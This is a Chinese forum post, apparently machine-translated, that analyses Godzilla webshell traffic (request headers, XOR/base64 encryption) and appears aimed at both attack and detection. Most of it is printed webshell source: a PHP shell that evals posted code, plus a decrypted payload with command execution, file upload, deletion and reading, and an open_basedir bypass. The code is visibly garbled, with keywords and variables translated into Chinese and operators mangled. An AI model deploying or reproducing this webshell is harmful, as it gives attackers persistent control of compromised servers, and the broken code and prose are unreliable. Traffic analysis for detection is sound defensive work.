H

webshell 流量分析

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
010-110本文以哥斯拉和冰蝎子为例,以分析上述两个常用的加密网络壳的交通,以进攻和防御性对抗。

webshell 流量分析​

由于哥斯拉的加密方法在处理JSP和PHP时的差异,本文将从Shell的PHP版本扩展,并总结并解释其操作原理。首先,生成php静态网络壳,加密人选择php_xor_base64。

1 Godzilla​

1.1 HTTP 请求头特征​

哥斯拉客户用Java语言编写。默认情况下,如果未修改用户代理,则用户代理将类似于Java/11.0.7(该版本取决于JDK环境版本)。但是哥斯拉支持自定义的HTTP标头,并且可以轻松删除此默认功能。

1.1.1 User-Agent​

接受标头是文本/html,image/gif,image/jpeg, ; Q=.2, */; Q=.2
您应该非常熟悉此默认功能。冰蝎子也以前也出现在同一接受中。当两个工具出现如此巧合时,为什么会出现此功能?实际上,这也是JDK介绍的功能,它不是作者的自定义接受。也可以通过自定义标头删除相同的默认功能,并且默认情况下只能用作辅助检测功能。
20210328125135.png-water_print

1.1.2 Accept​

1.2 请求体特征​

20210328125615.png-water_print

以默认Shell的密码和密钥为例,生成的文件如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
php
session_start();
@set_time_limit(0);
@error_reporting(0);
功能E($ d,$ k){
对于($ i=0; $ itrlen($ d); $ i ++){
$ d [$ i]=$ d [$ i]^$ k [$ i+115];
}
返回$ d;
}
功能q($ d){
返回base64_encode($ d);
}
功能o($ d){
返回base64_decode($ d);
}
$ p='Pass';
$ v='有效载荷';
$ t='3C6E0B8A9C15224A'; //MD5(键)[:16]
if(isset($ _ post [$ p])){
$ f=o(e(o($ _ post [$ p]),$ t));
if(isset($ _ session [$ v])){
$ l=$ _会话[$ v];
$ a=Explode('|',$ l);
类C {public函数nvoke($ p){eval($ p。''');}}}
$ r=new C();
$ r-nvoke($ a [0]);
Echo substr(MD5($ P. $ t),0,16);
Echo Q(e(@run($ f),$ t));
Echo substr(MD5($ P. $ t),16);
}别的{
$ _session [$ v]=$ f;
}
}
有两个核心区域:第一个是执行XOR加密和解密的功能E($ d,$ k),第二个是嵌套的两个嵌套以执行Godzilla客户上传的代码并获得结果。
基于$ f=o(e(o($ _ post [$ p]),$ t));在第21行中,当哥斯拉客户上传代码时,您可以获取编码加密过程:
原始代码-BASE64编码- XOR加密的E函数-BASE64编码
输入第二个IF语句,首先确定是否存在$ _session [$ v]。当客户端首次连接外壳时,它将在$ _Session中节省一块代码,称为有效载荷。结合随后的运行功能,将在随后的外壳连接期间调用此有效载荷。整个外壳的工作原理基本上可以在此处阐明。您可以在文章中使用流程图来总结:
20210328130431.png-water_print

在客户端上配置代理,并使用burp查看网络壳的交互式流量。
当客户端首次连接时,将有三个连续的请求,第一个请求如下:
20210328143609.png-water_print

根据上面分析的加密原则,您可以编写一个简单的解密脚本来解密通行证数据:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
php
功能E($ d,$ k){
对于($ i=0; $ itrlen($ d); $ i ++){
$ d [$ i]=$ d [$ i]^$ k [$ i+115];
}
返回$ d;
}
功能o($ d){
返回base64_decode($ d);
}
$ p='Pass';
$ v='有效载荷';
$ t='3C6E0B8A9C15224A'; //MD5(键)[:16]
echo o(e(o('要解密的数据'),$ t));

解密的数据是:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
php
$ parameters=array();
功能运行($ pms){
FormatParameter($ pms.'ilikeyou='。base64encode('metoo'));
if($ _session ['bypass_open_basedir']==true){
@bypass_open_basedir();
}
返回base64encode(evalfunc());
}
函数bypass_open_basedir(){
//.
}
函数格式参数计($ pms){
全局$参数;
$ pms=Explode('',$ pms);
foreach($ pms as $ kv){
$ kv=explode('=',$ kv);
if(sizeof($ kv)=2){
$ parameters [$ kV [0]]=base64decode($ kv [1]);
}
}
}
函数evalfunc(){
@session_write_close();
$ className=get('codEname');
$ MethodName=get('MethodName');
如果($ methodname!=null){
if(strlen(trim($ className))0){
if($ methodname=='includeCode'){
返回IncludeCode();
}别的{
if(isset($ _ session [$ className])){
返回评估($ _ session [$ className]);
}别的{
返回'{$ className} no load';
}
}
}别的{
返回$ MethodName();
}
}别的{
返回'MethodName为null';
}
}
函数Deletedir($ p){
$ m=@dir($ p);
while(@$ f=$ m-read()){
$ pf=$ p。'/'。$ f;
@chmod($ PF,0777);
if((is_dir($ pf))($ f!='。')($ f!='.')){
deletedir($ pf);
@rmdir($ pf);
} else if(is_file($ pf)($ f!='。')($ f!='.')){
@unlink($ pf);
}
}
$ m-close();
@chmod($ P,0777);
返回@rmdir($ p);
}
函数deletefile(){
$ f=get('filename');
如果(is_dir($ f)){
返回deletedir($ f)?'ok':'fail';
}别的{
return(file_exists($ f)?@unlink($ f)?'ok':'fail':'fail');
}
}
功能copyfile(){
$ srcfilename=get('srcfileName');
$ destfilename=get('destfileName');
if(@is_file($ srcfilename)){
if(copy($ srcfilename,$ destfileName)){
返回“确定”;
}别的{
返回“失败”;
}
}别的{
返回“目标不存在或不存在”;
}
}
函数movefile(){
$ srcfilename=get('srcfileName');
$ destfilename=get('destfileName');
if(重命名($ srcfileName,$ destfileName)){
返回“确定”;
}别的{
返回“失败”;
}
}
函数getBasicsInfo()
{
//.
}
函数getfile(){
//.
}
函数readfileContent(){
$ filename=get('fileName');
如果(@is_file($ filename)){
if(@is_readable($ filename)){
返回file_get_contents($ filename);
}别的{
返回“无许可!”;
}
}别的{
返回“未找到文件”;
}
}
函数uploadfile(){
$ filename=get('fileName');
$ fileValue=get('fileValue');
if(@file_put_contents($ filename,$ fileValue)!==false){
返回“确定”;
}别的{
返回“失败”;
}
}
功能newdir(){
$ dir=get('dirname');
如果(@mkdir($ dir,0777,true)!==false){
返回“确定”;
}别的{
返回“失败”;
}
}
函数newfile(){
$ filename=get('fileName');
if(@file_put_contents($ filename,'')!==false){
返回“确定”;
}别的{
返回“失败”;
}
}
函数execCommand(){
$结果='';
$命令=get('cmdline');
$ padtjn=@ini_get('disable_functions');
如果(!empty($ padtjn))
$ padtjn=preg_replace('/[,]+/',',',$ padtjn);
$ padtjn=exploit(',',$ padtjn);
$ padtjn=array_map('trim',$ padtjn);
} 别的{
$ padtjn=array();
}
if(false!==strpos(strtolower(php_os),'win')){
$命令=$命令。 '21 \ n';
}
如果(is_callable('system')和!in_array('system',$ padtjn)){
ob_start();
系统($命令);
$结果=ob_get_contents();
ob_end_clean();
} else if(is_callable('proc_open')和!in_array('proc_open',$ padtjn)){
$ handle=proc_open($ command,array(array('pipe''r'),阵列('pipe'w'),array('pipe','w')),$ pipes);
$ result=null;
while(!feof($ pipes [1])){
$ result。=fread($ pipes [1],1024);
}
@proc_close($ handle);
} else if(is_callable('passhru')和!in_array('passhru',$ padtjn)){
ob_start();
PassThru($命令);
$结果=ob_get_contents();
ob_end_clean();
} else if(is_callable('shell_exec')和!in_array('shell_exec',$ padtjn)){
$ result=shell_exec($命令);
} else if(is_callable('exec')和!in_array('exec',$ padtjn)){
$ result=array();
exec($命令,$ result);
$ result=join(chr(10),$ result)。 chr(10);
} else if(is_callable('exec')和!in_array('popen',$ padtjn)){
$ fp=popen($命令,'r');
$ result=null;
如果(is_Resource($ fp)){
while(!feof($ fp)){
$ result。=fread($ fp,1024);
}
}
@pclose($ fp);
} 别的{
返回'没有proc_open/passhru/shell_exec/exec/exec的proc_open/passthru/exec/exec';
}
返回$结果;
}
函数execsql(){
//.
}
函数pdoexec($ databaseType,$ host,$ port,$ username,$ password,$ exectype,$ sql){
//.
}
函数base64encode($ data){
返回base64_encode($ data);
}
功能测试(){
返回“确定”;
}
功能获取($ key){
全局$参数;
if(isset($ parameters [$ key])){
返回$参数[$ key];
}别的{
返回null;
}
}
函数includecode(){
@session_start();
$ classCode=get('bincode');
$ codename=get('codename');
$ _session [$ codEname]=$ classCode;
@session_write_close();
返回“确定”;
}
函数base64decode($ string){
返回base64_decode($ string);
}

传输脚本非常长,包括20多个功能功能,例如运行,bypass_open_basedir,formatParameter,evalfunc等,并且具有许多功能,例如代码执行,文件操作和数据库操作。
可以发现该数据包尚未返回,可以用作交通识别的特征之一。
第二个数据包和解密情况如下:
20210328144313.png-water_print
 
后退
顶部